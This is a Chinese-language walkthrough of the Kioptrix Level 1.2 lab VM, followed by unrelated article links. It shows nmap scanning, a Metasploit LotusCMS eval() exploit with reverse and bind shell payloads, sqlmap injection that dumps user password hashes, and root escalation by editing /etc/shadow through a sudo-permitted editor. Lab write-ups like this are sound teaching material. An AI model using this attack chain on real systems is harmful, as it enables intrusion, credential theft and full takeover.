[vulnhub]Kioptrix: Level 1.2 (#3)

https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

主机发现端口扫描

  1. 使用nmap扫描网段类存活主机

    因为靶机是我最后添加的，所以靶机IP是169

    nmap -sP 192.168.75.0/24                
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 13:16 CST
Nmap scan report for 192.168.75.1
Host is up (0.00031s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00029s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.169
Host is up (0.00052s latency).
MAC Address: 00:0C:29:D1:B8:48 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:EC:C5:A4 (VMware)
Nmap scan report for 192.168.75.151

  2. 扫描主机开放端口

    nmap -sT -min-rate 10000 -p- 192.168.75.169
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 13:16 CST
Nmap scan report for 192.168.75.169
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:D1:B8:48 (VMware)

  3. 扫描主机服务版本以及系统版本

    nmap -sV -sT -O -p22,80 192.168.75.169     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 13:19 CST
Nmap scan report for 192.168.75.169
Host is up (0.00044s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 00:0C:29:D1:B8:48 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  4. 扫描漏洞

    nmap -script=vuln -p22,80 192.168.75.169
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 13:20 CST
Stats: 0:02:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.52% done; ETC: 13:22 (0:00:02 remaining)
Stats: 0:02:53 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.52% done; ETC: 13:23 (0:00:02 remaining)
Nmap scan report for 192.168.75.169
Host is up (0.00027s latency).PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?system=Admin&page=loginSubmit%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.75.169:80/index.php?system=Admin&page=loginSubmit%27%20OR%20sqlspider
|_    http://192.168.75.169:80/index.php?page=index%27%20OR%20sqlspider
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-trace: TRACE is enabled
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.169
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.75.169:80/gallery/
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.75.169:80/index.php?system=Admin
|     Form id: contactform
|     Form action: index.php?system=Admin&page=loginSubmit
|     
|     Path: http://192.168.75.169:80/gallery/gadmin/
|     Form id: username
|     Form action: index.php?task=signin
|     
|     Path: http://192.168.75.169:80/gallery/index.php
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.75.169:80/index.php?system=Blog&post=1281005380
|     Form id: commentform
|     Form action: 
|     
|     Path: http://192.168.75.169:80/index.php?system=Admin&page=loginSubmit
|     Form id: contactform
|_    Form action: index.php?system=Admin&page=loginSubmit
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|   /cache/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /style/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:D1:B8:48 (VMware)

WEB渗透

  1. 访问主页

    在这里插入图片描述

  2. 扫描目录

    dirsearch -u 192.168.75.169 -x 403
//
[13:31:06] Starting:                                                                                                                                                                                              
[13:31:27] 301 -  355B  - /cache  ->  http://192.168.75.169/cache/          
[13:31:31] 301 -  354B  - /core  ->  http://192.168.75.169/core/            
[13:31:31] 200 -  688B  - /core/fragments/moduleInfo.phtml
[13:31:36] 200 -   23KB - /favicon.ico                                      
[13:31:37] 301 -  357B  - /gallery  ->  http://192.168.75.169/gallery/      
[13:31:47] 301 -  357B  - /modules  ->  http://192.168.75.169/modules/      
[13:31:47] 200 -    2KB - /modules/                                         
[13:31:52] 301 -  360B  - /phpmyadmin  ->  http://192.168.75.169/phpmyadmin/
[13:31:53] 401 -  520B  - /phpmyadmin/scripts/setup.php                     
[13:31:53] 200 -    8KB - /phpmyadmin/                                      
[13:31:53] 200 -    8KB - /phpmyadmin/index.php                             
[13:32:03] 301 -  355B  - /style  ->  http://192.168.75.169/style/          
[13:32:08] 200 -   18B  - /update.php
    • /modules 像是文件服务器
    • /phpmyadmin phpmyadmin
    • /update.php 提示permission denied.
    • index.php?system=Admin 是登陆页面

  3. 登陆页面发现是CMS是LotusCMS 查阅有没有可以利用漏洞

    • 看见ruby后缀利用文件，上msf搜索看看

      # searchsploit LotusCMS    
//
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Exploit Title                                                                                                                                                                  |  Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)                                                                                                                   | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities                                                                                                                                       | php/webapps/16982.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

    • 进入msf控制台，进行搜索，应该就是searchsploit 搜索出来的那个

      msf6 > search LotusCMSMatching Modules
================#  Name                              Disclosure Date  Rank       Check  Description-  ----                              ---------------  ----       -----  -----------0  exploit/multi/http/lcms_php_exec  2011-03-03       excellent  Yes    LotusCMS 3.0 eval() Remote Command Execution

    • 尝试利用

      msf6 > use exploit/multi/http/lcms_php_exec 
msf6 exploit(multi/http/lcms_php_exec) > set rhosts 192.168.75.169
rhosts => 192.168.75.169
msf6 exploit(multi/http/lcms_php_exec) > set uri /index.php?system=Admin
uri => /index.php?system=Admin
msf6 exploit(multi/http/lcms_php_exec) > run
[*] Started reverse TCP handler on 192.168.75.151:4444 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.

      死活不成功，尝试换一下payload

      msf6 exploit(multi/http/lcms_php_exec) > set payload php/reverse_php 
payload => php/reverse_php

      尝试了几个payload后发现php/bind_perl 可以使用

      msf6 exploit(multi/http/lcms_php_exec) > set payload php/reverse_perl 
payload => php/reverse_perl
msf6 exploit(multi/http/lcms_php_exec) > run[*] Started reverse TCP handler on 192.168.75.151:4444 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/lcms_php_exec) > set payload php/bind_perl
payload => php/bind_perl
msf6 exploit(multi/http/lcms_php_exec) > run[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Started bind TCP handler against 192.168.75.169:4444
[*] Command shell session 1 opened (192.168.75.151:34319 -> 192.168.75.169:4444) at 2024-10-29 14:08:36 +0800
whoami
www-data

提权

  1. 查看权限

    python -c "import pty;pty.spawn('/bin/sh')"
//
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
//
$ uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
//
$ whoami
www-data

  2. 寻找突破口

    • suid提权寻找

      $ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/apache2/suexec
/usr/lib/pt_chown
/usr/bin/arping
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/at
/usr/bin/sudoedit
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/local/bin/ht
/usr/sbin/pppd
/usr/sbin/uuidd
/lib/dhcp3-client/call-dhclient-script
/bin/fusermount
/bin/ping
/bin/mount
/bin/umount
/bin/ping6
/bin/su

    • /etc/phpmyadmin下config.inc.php存在数据库账号密码，尝试但是登陆失败

      // $cfg['Servers'][$i]['controluser'] = 'pma';
// $cfg['Servers'][$i]['controlpass'] = 'pmapass';

    • 寻找敏感文件，在/home/loneferret 存在一个CompanyPolicy.README 文件

      # CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.DG
CEO

      但是sudo ht需要密码，继续寻找别的方法

web渗透 2

  1. 才知道我的靶机有问题，访问gallery/ 会加载不完全，被浏览器自动拦截了很多内容。

    在这里插入图片描述

  2. 取消拦截后就好了

  3. 发现 http://kioptrix3.com/gallery/gallery.php?id=1 有个可能存在sql注入的地方，使用sqlmap检测是否存在sql注入

    # 结果
[19:07:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8, PHP
back-end DBMS: MySQL >= 5.0.12
[19:07:05] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 23 times
[19:07:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/kioptrix3.com'

    存在sql注入，继续使用sqlmap来爆破剩余的数据

    最后dump下两行数据，是两个用户

    +----+---------------------------------------------+------------+
| id | password                                    | username   |
+----+---------------------------------------------+------------+
| 1  | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)   | dreg       |
| 2  | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret |
+----+---------------------------------------------+------------+

  4. 使用爆破出来的用户去尝试登陆 ssh，loneferret成功登入

提权 2

  1. 查看权限

    loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:(root) NOPASSWD: !/usr/bin/su(root) NOPASSWD: /usr/local/bin/ht

    ht拥有sudo权限，根据之前发现的内容知道ht可以编辑文件，并且拥有sudo权限

  2. 尝试修改shadow文件

    loneferret@Kioptrix3:~$ sudo ht /etc/shadow
Error opening terminal: xterm-256color.

    报错了：Error opening terminal: xterm-256color. ，需要加上

    export TERM=xterm

  3. 直接将当前用户的密码覆盖到root上去，F3好像是编辑，F2保存，ctrl + c退出

    在这里插入图片描述

  4. 然后ssh登录root账户，提权成功

    loneferret@Kioptrix3:~$ su root
Password:                                                                                                                                                                                                         
root@Kioptrix3:/home/loneferret#

    读取flag文件

    root@Kioptrix3:~# cat Congrats.txt 
//
Good for you for getting here.                                                                                                                                                                                    
Regardless of the matter (staying within the spirit of the game of course)                                                                                                                                        
you got here, congratulations are in order. Wasn't that bad now was it.                                                                                                                                           Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone. 
Difficulty is relative, keep that in mind.The object is to learn, do some research and have a little (legal)
fun in the process.I hope you enjoyed this third challenge.Steven McElrea
aka loneferret
http://www.kioptrix.comCredit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.Main page CMS: 
http://www.lotuscms.orgGallery application: 
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/Also, all pictures were taken from Google Images, so being part of the
public domain I used them.root@Kioptrix3:~#

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/459945.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

TVM前端研究--Relay

TVM前端研究--Relay

文章目录 深度学习IR梳理1. IR属性2. DL前端发展3. DL编译器4. DL编程语言Relay的主要内容一、Expression in Relay1. Dataflow and Control Fragments2. 变量3. 函数3.1 闭包3.2 多态和类型关系3.3. Call4. 算子5. ADT Constructors6. Moudle和Global Function7. 常量和元组8.…
阅读更多...
Ubuntu UFW防火墙规则与命令示例大全

Ubuntu UFW防火墙规则与命令示例大全

在服务器安全领域，防火墙是守护网络安全的坚实盾牌。UFW（Uncomplicated Firewall），即“不复杂的防火墙”，是一个运行在iptables之上的防火墙配置工具，它为Ubuntu系统默认提供了一个简洁的命令行界面&#x…
阅读更多...
Linux高阶——1026—验证内存映射mmap函数使用

Linux高阶——1026—验证内存映射mmap函数使用

1、验证共享映射后修改文件内容，是否能够同步 先创建一个映射文件，写入数据 分为四个步骤 1、打开映射文件 设文件描述符，使用open函数 int fd; if((fdopen("mapfile",O_RDWR))-1) { perror("open failed");exit…
阅读更多...
从零开始的 vue项目部署到服务器详细步骤（vue项目build打包+nginx部署+配置ssl证书）

从零开始的 vue项目部署到服务器详细步骤（vue项目build打包+nginx部署+配置ssl证书）

从零开始的 vue项目部署到服务器详细步骤（vue项目build打包nginx部署配置ssl证书） 文章目录 从零开始的 vue项目部署到服务器详细步骤（vue项目build打包nginx部署配置ssl证书）一、前言二、vue项目部署前配置1、vite.config.js 增加…
阅读更多...
快速遍历包含合并单元格的Word表格

快速遍历包含合并单元格的Word表格

Word中的合并表格如下，现在需要根据子类（例如：果汁）查找对应的品类，如果这是Excel表格，那么即使包含合并单元格，也很容易处理，但是使用Word VBA进行查找，就需要一些技巧。…
阅读更多...
智慧园区 | 数智引领，让智慧触手可及

智慧园区 | 数智引领，让智慧触手可及

随着科技的飞速发展，智慧园区正成为现代城市发展的重要方向之一。在智慧园区中，各种高科技手段被应用于园区的管理和服务，为园区的运营和居民的生活带来无限可能。 智慧园区管理平台是智慧园区建设的核心。它集聚了大数据、物联网、云计算等技…
阅读更多...
基于uniapp微信小程序的旅游系统

基于uniapp微信小程序的旅游系统

作者：计算机学姐 开发技术：SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等，“文末源码”。 专栏推荐：前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏：…
阅读更多...
【分布式知识】分布式对象存储组件-Minio

【分布式知识】分布式对象存储组件-Minio

文章目录 什么是minio核心特点：使用场景：开发者工具：社区和支持： 核心概念什么是对象存储？MinIO 如何确定对对象的访问权限？我可以在存储桶内按文件夹结构组织对象吗？如何备份和恢复 MinIO 上的…
阅读更多...
iQOO手机怎样将屏幕投射到MacBook？可以同步音频吗？

iQOO手机怎样将屏幕投射到MacBook？可以同步音频吗？

众所周知，苹果品牌的设备自己有AirPlay的投屏功能，iPhone要投屏到MacBook只要连接同一网络，然后开启AirPlay就可以投屏。但其他品牌的手机没有AirPlay，怎么将手机屏幕投射到MacBook呢？ 安卓系统的手机可以使用无线投屏…
阅读更多...
2. 从服务器的主接口入手

2. 从服务器的主接口入手

Webserver 的主函数 main.cpp，完成了哪些功能？ #include "config.h"int main(int argc, char *argv[]) {string user "";string passwd "";string databasename "";Config config;config.parse_arg(argc, a…
阅读更多...
四、Prompt工程——简单应用

四、Prompt工程——简单应用

Prompt工程——简单应用 一、提示工程（Prompt Engineering）二、Prompt基本法则三、Prompt 调优四、简单的例子文本总结文本判断文本提取文本转化——翻译文本转化——语气 更多结语 一、提示工程（Prompt Engineering） 提示工程也…
阅读更多...
5G RedCap工业路由器赋能电力物联网应用

5G RedCap工业路由器赋能电力物联网应用

随着5G轻量化技术应用的推进，5G RedCap旨在提供低功耗、低成本、广覆盖等功能特点赋能电力智能化升级。特别适用于工业物联网、低空经济、车联网、消费电子和轻量级5G的需求。 5G RedCap工业路由器的特点 低功耗：5G RedCap工业路由器通过节能技术&#…
阅读更多...
Flume采集Kafka数据到Hive

Flume采集Kafka数据到Hive

版本： Kafka：2.4.1 Flume：1.9.0 Hive：3.1.0 Kafka主题准备： Hive表准备：确保hive表为：分区分桶、orc存储、开启事务 Flume准备： 配置flume文件： /opt/datasophon/flume-1…
阅读更多...
react18中react-thunk实现公共数据仓库的异步操作

react18中react-thunk实现公共数据仓库的异步操作

redux及react-redux都只能实现数据的同步修改更新，有点类似于vue中的mutation，只能做同步操作，异步的话不用actions来实现。由于在项目始终不可避免要实现的异步数据的更新，这明显不够用了。是时候引入我们的异步中间件redux-thun…
阅读更多...
开源一款前后端分离的企业级网站内容管理系统，支持站群管理、多平台静态化，多语言、全文检索的源码

开源一款前后端分离的企业级网站内容管理系统，支持站群管理、多平台静态化，多语言、全文检索的源码

大家好，我是一颗甜苞谷，今天分享一款前后端分离的企业级网站内容管理系统，支持站群管理、多平台静态化，多语言、全文检索的源码。 前言 在当今的数字化时代，企业网站和个人博客已成为信息传播和品牌建设的重要渠道。…
阅读更多...
Docker-常用命令大全（附命令详解）

Docker-常用命令大全（附命令详解）

文章目录 Docker 基础命令查看docker 运行状态关闭docker启动docker重启dockerdocker设置随服务启动而自启动查看docker 版本号信息docker 帮助命令 docker 镜像命令查看自己服务器中docker 镜像列表搜索镜像拉取镜像运行镜像保存镜像删除镜像加载镜像镜像标签 Docker 容器命令…
阅读更多...
【ComfyUI】手动安装部署ComfyUI的运行环境

【ComfyUI】手动安装部署ComfyUI的运行环境

如果不喜欢已有的一键启动包，我们可以手动的安装和部署ComfyUI的运行环境，相比一键安装包，自己部署ComfyUI 环境具有相当大的灵活性，其实部署ComfyUI 环境非常简单，不像网上说的那么复杂。下面我们就按照顺序给大家分享…
阅读更多...
Golang | Leetcode Golang题解之第520题检测大写字母

Golang | Leetcode Golang题解之第520题检测大写字母

题目： 题解： func detectCapitalUse(word string) bool {// 若第 1 个字母为小写，则需额外判断第 2 个字母是否为小写if len(word) > 2 && unicode.IsLower(rune(word[0])) && unicode.IsUpper(rune(word[1])) {return f…
阅读更多...
【Cri-Dockerd】安装cri-dockerd

【Cri-Dockerd】安装cri-dockerd

cri-dockerd的作用： 在k8s1.24之前。k8s会通过dockershim来调用docker进行容器运行时containerd，并且会自动安装dockershim，但是从1.24版本之前k8s为了降低容器运行时的调用的复杂度和效率，直接调用containerd了，并且…
阅读更多...
git下载和配置

git下载和配置

git是什么？ Git是一种分布式版本控制系统，用于跟踪文件的变化，尤其是源代码。它允许多个开发者在同一项目上进行协作，同时保持代码的历史记录。Git的主要特点包括： 分布式：每个开发者都有项目的完整副本&a…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023